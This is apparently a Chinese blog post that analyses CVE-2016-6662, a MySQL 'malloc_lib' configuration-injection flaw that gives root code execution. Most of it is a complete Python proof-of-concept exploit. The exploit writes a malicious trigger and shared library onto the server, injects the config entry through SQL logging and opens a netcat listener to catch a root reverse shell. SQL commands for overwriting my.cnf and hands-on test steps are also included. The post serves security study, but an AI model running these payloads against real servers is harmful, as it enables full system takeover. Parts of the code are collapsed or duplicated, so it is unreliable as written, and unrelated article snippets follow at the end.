当前位置: 首页 > news >正文

【漏洞分析】UDF提权漏洞——CVE-2016-6662-MySQL ‘malloc_lib’变量重写命令执行

0x00 前言

最近在做渗透笔记,其中有一个靶机在getshell后,需要进行提权。发现靶机使用root启动的mysql服务,那么尝试使用UDF提权。于是在提权成功后,花了一天时间特意搜了一下整个UDF提权的漏洞原理和利用,加深理解。

大体思路就是mysql某几个版本内,mysqld_safe 脚本有一个加速/处理内存的地方会采用 “malloc_lib”变量作为选择性加载(preload方式)malloc库。但问题是是这个变量可以被my.cnf所控制,导致my.cnf一旦被攻击者在mysql客户端篡改的话可以直接导致mysqld_safe所调用的mysqld进程执行权被控制。

完整的漏洞学习可以参考:https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

我也是在使用谷歌翻译后一点点了解学习到的,学完才发现百度上有完整的翻译,尴尬!https://www.anquanke.com/post/id/84557

0x01 漏洞影响

MySQL  <= 5.7.15       远程代码执行/ 提权 (0day)

       5.6.33

       5.5.52

Mysql分支的版本也受影响,包括:

MariaDB

PerconaDB 

0x02 漏洞介绍

这个漏洞影响(5.7, 5.6, 和 5.5版本)的所有Mysql默认配置,包括最新的版本,攻击者可以远程和本地利用该漏洞。该漏洞需要认证访问MYSQL数据库(通过网络连接或者像phpMyAdmin的web接口),以及通过SQL注入利用。攻击者成功利用该漏洞可以以ROOT权限执行代码,完全控制服务器。

0x03 漏洞描述

在使用root开启mysql进程后

root     14967  0.0  0.1   4340  1588 ?        S    06:41   0:00 /bin/sh /usr/bin/mysqld_safe
mysql    15314  1.2  4.7 558160 47736 ?        Sl   06:41   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306

可以看到mysqld_safe的wrapper(封装)脚本是root权限执行的,而主要的mysqld进程确实mysql用户权限执行的。

那么直接来看这个mysqld_safe脚本:

 1 ----[ /usr/bin/mysqld_safe ]----2 [...]3 # set_malloc_lib LIB4 # - If LIB is empty, do nothing and return5 # - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib6 #   then pkglibdir.  tcmalloc is part of the Google perftools project.7 # - If LIB is an absolute path, assume it is a malloc shared library8 #9 # Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
10 # running mysqld.  See ld.so for details.
11 set_malloc_lib() {
12   malloc_lib="$1"
13   if [ "$malloc_lib" = tcmalloc ]; then
14     pkglibdir=`get_mysql_config --variable=pkglibdir`
15     malloc_lib=
16     # This list is kept intentionally simple.  Simply set --malloc-lib
17     # to a full path if another location is desired.
18     for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
19       for flavor in _minimal '' _and_profiler _debug; do
20         tmp="$libdir/libtcmalloc$flavor.so"
21         #log_notice "DEBUG: Checking for malloc lib '$tmp'"
22         [ -r "$tmp" ] || continue
23         malloc_lib="$tmp"
24         break 2
25       done
26     done
27 [...]
28 ----------[ eof ]---------------

通过手册我们可以得知–malloc-lib=LIB 选项可以加载一个so文件,如果攻击者可以注入路径信息到配置文件,就可以在MYSQL服务重启的时候,执行任意代码。

从2003开始,默认通过SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'是不能覆写文件的,但是我们可以利用mysql logging(MySQL )功能绕过outfile/dumpfile重写文件的保护,攻击者需要 SELECT/FILE 权限 。

我们通过覆写/etc/my.cnf注入malloc_lib=路径选项,命令如下:

 1 ----[ /usr/bin/mysqld_safe ]----2 [...]3 # set_malloc_lib LIB4 # - If LIB is empty, do nothing and return5 # - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib6 #   then pkglibdir.  tcmalloc is part of the Google perftools project.7 # - If LIB is an absolute path, assume it is a malloc shared library8 #9 # Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
10 # running mysqld.  See ld.so for details.
11 set_malloc_lib() {
12   malloc_lib="$1"
13   if [ "$malloc_lib" = tcmalloc ]; then
14     pkglibdir=`get_mysql_config --variable=pkglibdir`
15     malloc_lib=
16     # This list is kept intentionally simple.  Simply set --malloc-lib
17     # to a full path if another location is desired.
18     for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
19       for flavor in _minimal '' _and_profiler _debug; do
20         tmp="$libdir/libtcmalloc$flavor.so"
21         #log_notice "DEBUG: Checking for malloc lib '$tmp'"
22         [ -r "$tmp" ] || continue
23         malloc_lib="$tmp"
24         break 2
25       done
26     done
27 [...]
28 ----------[ eof ]---------------
29 mysql> set global general_log_file = '/etc/my.cnf';
30 mysql> set global general_log = on;
31 mysql> select '
32     '> 
33     '> ; injected config entry
34     '> 
35     '> [mysqld]
36     '> malloc_lib=/tmp/mysql_exploit_lib.so
37     '> 
38     '> [separator]
39     '> 
40     '> ';
41 mysql> set global general_log = off;

注入后的my.cnf文件包含:

[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

0x04 POC

----------[ 0ldSQL_MySQL_RCE_exploit.py ]--------------
#!/usr/bin/python
# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of 
# the advisory for details on this vector. 
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
# 
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)
intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
"""
import argparse
import mysql.connector    
import binascii
import subprocess
def info(str):print "[+] " + str + "n"
def errmsg(str):print "[!] " + str + "n"
def shutdown(code):if (code==0):info("Exiting (code: %d)n" % code)else:errmsg("Exiting (code: %d)n" % code)exit(code)
cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 
# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'
# Main Meat
print intro
# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')args = parser.parse_args()
# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:errmsg("Failed to connect to the target: {}".format(err))shutdown(1)
try:cursor = dbconn.cursor()cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(2)
privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:print priv[0]
print ""
# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 
if rc != 0:errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)print error shutdown(2)
# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:content = f.read()hookandrootlib_hex = binascii.hexlify(content)
# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERTON `poctable` FOR EACH ROW
BEGINDECLARE void varchar(550);set global general_log_file='/var/lib/mysql/my.cnf';set global general_log = on;select "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void;   set global general_log = off;
END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\nAFTER INSERT\n   ON `poctable` FOR EACH ROW\nBEGIN\n\n   DECLARE void varchar(550);\n   set global general_log_file=\'%s\';\n   set global general_log = on;\n   select "\n\n# 0ldSQL_MySQL_RCE_exploit got here :)\n\n[mysqld]\nmalloc_lib=\'%s\'\n\n[abyss]\n" INTO void;   \n   set global general_log = off;\n\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)
# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:cursor = dbconn.cursor()cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(4)
# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:cursor = dbconn.cursor()cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(5)
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:cursor = dbconn.cursor()cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(6)
# Finally, execute the trigger's payload by inserting anything into `poctable`. 
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:cursor = dbconn.cursor()cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(6)
# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:cursor = dbconn.cursor()cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(2)
finally:dbconn.close()  # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""
# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")
# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
# Shutdown
shutdown(0)

(Author Zhaoxuepeng https://www.cnblogs.com/Shepherdzhao)

对CVE-2016-6662的简单测试

1.修改my.cnf的权限,让mysql用户可写

 2.通过mysql logging 覆写文件

 3.放置后门程序

 gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.c.so mysql_hookandroot_lib.c.c -ldl

4.重启触发反弹

相关文章:

【漏洞分析】UDF提权漏洞——CVE-2016-6662-MySQL ‘malloc_lib’变量重写命令执行

0x00 前言 最近在做渗透笔记&#xff0c;其中有一个靶机在getshell后&#xff0c;需要进行提权。发现靶机使用root启动的mysql服务&#xff0c;那么尝试使用UDF提权。于是在提权成功后&#xff0c;花了一天时间特意搜了一下整个UDF提权的漏洞原理和利用&#xff0c;加深理解。…...

Mybatis(day09)

Mybatis基础操作 功能列表&#xff1a; 查询 根据主键ID查询 条件查询新增更新删除 根据主键ID删除 根据主键ID批量删除 准备 实施前的准备工作&#xff1a; 准备数据库表创建一个新的 springboot 工程&#xff0c;选择引入对应的起步依赖&#xff08;mybatis、mysql 驱动、…...

模式识别与机器学习 | 十一章 概率图模型基础

隐马尔科夫模型&#xff08;Hidden Markov Model,HMM&#xff09; HMM是建模序列数据的图模型 1、第一个状态节点对应一个初始状态概率分布 2、状态转移矩阵A, 3、发射矩阵概率B 4、对特定的&#xff08;x,y&#xff09;的联合概率可以表示为 α递归计算——前向算法β递归…...

深圳知识产权保护中心再发力,两大产业专利预审服务全新升级

在当今科技迅猛发展、市场竞争日益激烈的时代&#xff0c;知识产权保护对于产业发展的重要性不言而喻。深圳知识产权保护中心又有大动作&#xff0c;为高端装备制造和珠宝加工产业带来了专利预审服务的新突破。这一举措不仅为这两个产业注入了强大的发展动力&#xff0c;也为深…...

同步与并发:Java的同步舞蹈

现在&#xff0c;我们将深入探讨同步与并发&#xff0c;这是确保多线程程序正确性和效率的关键&#xff0c;就像是Java的同步舞蹈。 1 并发的概念 并发是指在多处理器系统中&#xff0c;多个操作或多个线程同时进行执行。在Java中&#xff0c;这意味着能够有效地利用多核处理…...

Kafka详解 ③ | Kafka集群操作与API操作

目录 1、Kafka集群操作 1.1、创建 topic 1.2、查看主题命令 1.3、生产者生产 1.4、消费者消费数据 1.5、运行 describe topics命令 1.6、增加 topic分区数 1.7、增加配置 1.8、删除配置 1.9、删除 topic 2、Kafka的Java API操作 2.1、生产者代码 2.2、消费者代 2…...

k8s基础(1)—Kubernetes-Pod

一、Pod简介 Pod是Kubernetes&#xff08;k8s&#xff09;系统中可以创建和管理的最小单元&#xff0c;是资源对象模型中由用户创建或部署的最小资源对象模型‌。Pod是由一个或多个容器组成的&#xff0c;这些容器共享存储和网络资源&#xff0c;可以看作是一个逻辑的主机‌。…...

iOS - 数组的真实类型

1. NSArray 类簇 // 1. __NSArray0 (空数组) NSArray *empty [];// 2. __NSArrayI (不可变数组) NSArray *immutable [1, 2, 3];// 3. __NSArrayM (可变数组) NSMutableArray *mutable [NSMutableArray array];// 4. __NSSingleObjectArrayI (单元素数组) NSArray *single …...

k8s启动报错

执行kubeadm init --image-repository registry.aliyuncs.com/google_containers 出现如下结果: [api-check] The API server is not healthy after 4m0.000885686s Unfortunately, an error has occurred: context deadline exceeded This error is likely caused by:…...

git:指令集

以下是对这些 Git 新特性和命令的更详细解读和实际用例分析&#xff0c;帮助更好地理解它们的作用及适用场景&#xff1a; 1. git switch 和 git restore 背景&#xff1a; 传统上&#xff0c;git checkout 是一个多功能命令&#xff0c;用于切换分支、检出文件、创建分支等&…...

自闭症家庭:建立支持系统与平衡生活

在自闭症家庭的世界里&#xff0c;每一天都充满了挑战与希望。自闭症&#xff0c;这一复杂的神经发育障碍&#xff0c;不仅影响着孩子的成长轨迹&#xff0c;也对整个家庭的生活方式产生了深远的影响。面对这一挑战&#xff0c;许多家庭都在努力寻找有效的支持系统和平衡生活的…...

html+css+js网页设计 美食 美食天下2个页面(里面包含php和mysql)

htmlcssjs网页设计 美食 美食天下2个页面&#xff08;里面包含php和mysql&#xff09; 网页作品代码简单&#xff0c;可使用任意HTML辑软件&#xff08;如&#xff1a;Dreamweaver、HBuilder、Vscode 、Sublime 、Webstorm、Text 、Notepad 等任意html编辑软件进行运行及修改编…...

高阶知识库搭建实战七、(知识库雏形开发:qianwen-plus+Faiss)(练习推荐)

构建知识库:结合Faiss和qianwen-plus大模型的实践 环境搭建参考前面几篇文章:基础环境搭建、Faiss向量数据库安装 在当今信息爆炸的时代,如何高效地管理和检索海量知识成为了一个重要课题。知识库的构建为我们提供了一种有效的解决方案,它能够将分散的信息整合起来,方便…...

麒麟服务器安装kafka--亲测

我这安装的是单机版本的&#xff1a; 下载地址&#xff1a;Index of /kafka/3.9.0 我下载的是&#xff1a;https://dlcdn.apache.org/zookeeper/zookeeper-3.9.3/apache-zookeeper-3.9.3-bin.tar.gz https://dlcdn.apache.org/kafka/3.9.0/kafka_2.12-3.9.0.tgz 一、下载并上…...

微机——8086微处理器的数据传送指令

目录 数据传送指令&#xff1a; 通用数据传送指令&#xff1a; MOV指令&#xff1a; 堆栈操作指令&#xff1a; PUSH指令&#xff1a; POP指令&#xff1a; 交换指令XCHG&#xff1a; XCHG指令&#xff1a; 换码指令XLAT&#xff1a; 换码指令XLAT&#xff1a; 8086 …...

vue3中onUpdated钩子函数和nextTick的具体使用场景和区别

在 Vue 3 中&#xff0c;onUpdated 钩子函数和 nextTick 方法都用于处理 DOM更新后的操作&#xff0c;但它们的使用场景和触发时机有所不同。以下是它们的具体使用场景和区别&#xff0c;结合代码示例进行解释&#xff1a; onUpdated 钩子函数 使用场景&#xff1a;适用于需要…...

colnames看似简单,却能优化数据处理流程

引言 在数据处理和分析中&#xff0c;变量名称是至关重要的&#xff0c;它们决定了数据的可读性和操作的简便性。在R语言中&#xff0c;colnames 函数以其简单的语法设计&#xff0c;提供了高效管理数据框列名的能力&#xff0c;尤其是在复杂的爬虫任务中显得尤为重要。本篇文…...

欧几里得距离在权重矩阵中的物理意义

欧几里得距离在权重矩阵中的物理意义 目录 欧几里得距离在权重矩阵中的物理意义**衡量神经元差异程度**:**反映模型变化程度**:**聚类和分组的依据**:自然语言处理中的模型更新:**神经网络聚类分组**:欧几里得距离在权重矩阵中的物理意义衡量神经元差异程度: 在神经网络中…...

AI编程辅助开发网站

咋用AI工具快速鼓捣出个网站&#xff1f; 咱都知道&#xff0c;现在这年月&#xff0c;干啥都讲究个效率&#xff0c;做网站更是如此。好在有了那些AI小帮手&#xff0c;不管你是专业搞开发的老手&#xff0c;想让活儿干得更快些&#xff0c;还是从没做过网站的小白&#xff0…...

「Mac畅玩鸿蒙与硬件53」UI互动应用篇30 - 打卡提醒小应用

本篇教程将实现一个打卡提醒小应用&#xff0c;通过用户输入时间进行提醒设置&#xff0c;并展示实时提醒状态&#xff0c;实现提醒设置和取消等功能。 关键词 打卡提醒状态管理定时任务输入校验UI交互 一、功能说明 打卡提醒小应用包含以下功能&#xff1a; 提醒时间输入与…...

Java在word中指定位置插入图片。

Java使用&#xff08;Poi-tl&#xff09; 在word&#xff08;docx&#xff09;中指定位置插入图片 Poi-tl 简介Maven 依赖配置Poi-tl 实现原理与步骤1. 模板标签规范2.完整实现代码3.效果展示 Poi-tl 简介 Poi-tl 是基于 Apache POI 的 Java 开源文档处理库&#xff0c;专注于…...

AURA智能助手在物联网(IoT)和数字化改造领域的使用

要设计一款在物联网(IoT)和数字化改造领域占据市场主导的AURA智能助手,产品经理需从行业痛点、技术架构、商业模式、生态整合四大维度切入,深度融合工业场景的特殊性。以下是系统性设计框架与落地策略: 一、精准定位:直击工业场景核心痛点 1. 解决企业级关键问题 场景痛…...

基于FPGA的超声波显示水位距离,通过蓝牙传输水位数据到手机,同时支持RAM存储水位数据,读取数据。

基于FPGA的超声波显示水位距离 前言一、整体框架二、代码架构1.超声波测距模块2.蓝牙数据发送模块3.数码管数据切换模块4.数码管驱动模块6.串口驱动7.顶层模块8.RAM ip核 仿真相关截图 前言 随着工业化进程的加速和环境保护意识的提升&#xff0c;对水资源管理和水位监测的需求…...

Linux系统的CentOS7发行版安装MySQL80

文章目录 前言Linux命令行内的”应用商店”安装CentOS的安装软件的yum命令安装MySQL1. 配置yum仓库2. 使用yum安装MySQL3. 安装完成后&#xff0c;启动MySQL并配置开机自启动4. 检查MySQL的运行状态 MySQL的配置1. 获取MySQL的初始密码2. 登录MySQL数据库系统3. 修改root密码4.…...

免费批量去水印工具 - 针对文心一言生成图片

免费批量去水印工具 - 针对文心一言生成图片 工具介绍 这是一款免费的批量去水印工具&#xff0c;专门针对文心一言生成的图片进行处理。通过简单的操作&#xff0c;您可以快速去除图片中的水印。 下载链接 您可以通过以下网盘链接下载工具&#xff1a; 链接: https://pa…...

Web3 借贷与清算机制全解析:链上金融的运行逻辑

Web3 借贷与清算机制全解析&#xff1a;链上金融的运行逻辑 超额抵押借款 例如&#xff0c;借款人用ETH为抵押借入DAI&#xff1b;借款人的ETH的价值一定是要超过DAI的价值&#xff1b;借款人可以任意自由的使用自己借出的DAI 稳定币 第一步&#xff1a;借款人需要去提供一定…...

⚡️ Linux Docker 基本命令参数详解

&#x1f433; Linux Docker 基本命令参数详解 &#x1f4d8; 1. Docker 简介 Docker 是一个开源的容器化平台&#xff0c;它通过将应用及其依赖打包到一个轻量级、可移植的容器中&#xff0c;从而实现跨平台运行。Docker 采用 C/S 架构&#xff0c;服务端称为 Docker Daemon&a…...

用Python训练自动驾驶神经网络:从零开始驾驭未来之路

用Python训练自动驾驶神经网络:从零开始驾驭未来之路 哈喽,朋友们!我是Echo_Wish,今天咱们聊点超酷的话题——自动驾驶中的神经网络训练,用Python怎么玩转起来? 说实话,自动驾驶一直是科技圈的香饽饽,为什么?因为它承载了未来交通的无限可能:减少事故、提升效率、节…...

Linux下如何查看一个端口被什么进程占用? 该进程又打开了哪些文件?

Linux下如何查看一个端口被什么进程占用&#xff1f; 该进程又打开了哪些文件&#xff1f; 查看端口 1.使用lsof命令查看端口占用的进程 lsof可以列出系统上打开的文件&#xff0c;其中包括网络连接、进程信息等。 lsof -i:<端口号> 例如&#xff0c;如果需…...

[面试精选] 0094. 二叉树的中序遍历

文章目录 1. 题目链接2. 题目描述3. 题目示例4. 解题思路5. 题解代码6. 复杂度分析 1. 题目链接 94. 二叉树的中序遍历 - 力扣&#xff08;LeetCode&#xff09; 2. 题目描述 给定一个二叉树的根节点 root &#xff0c;返回 它的 中序 遍历 。 3. 题目示例 示例 1 : 输入&…...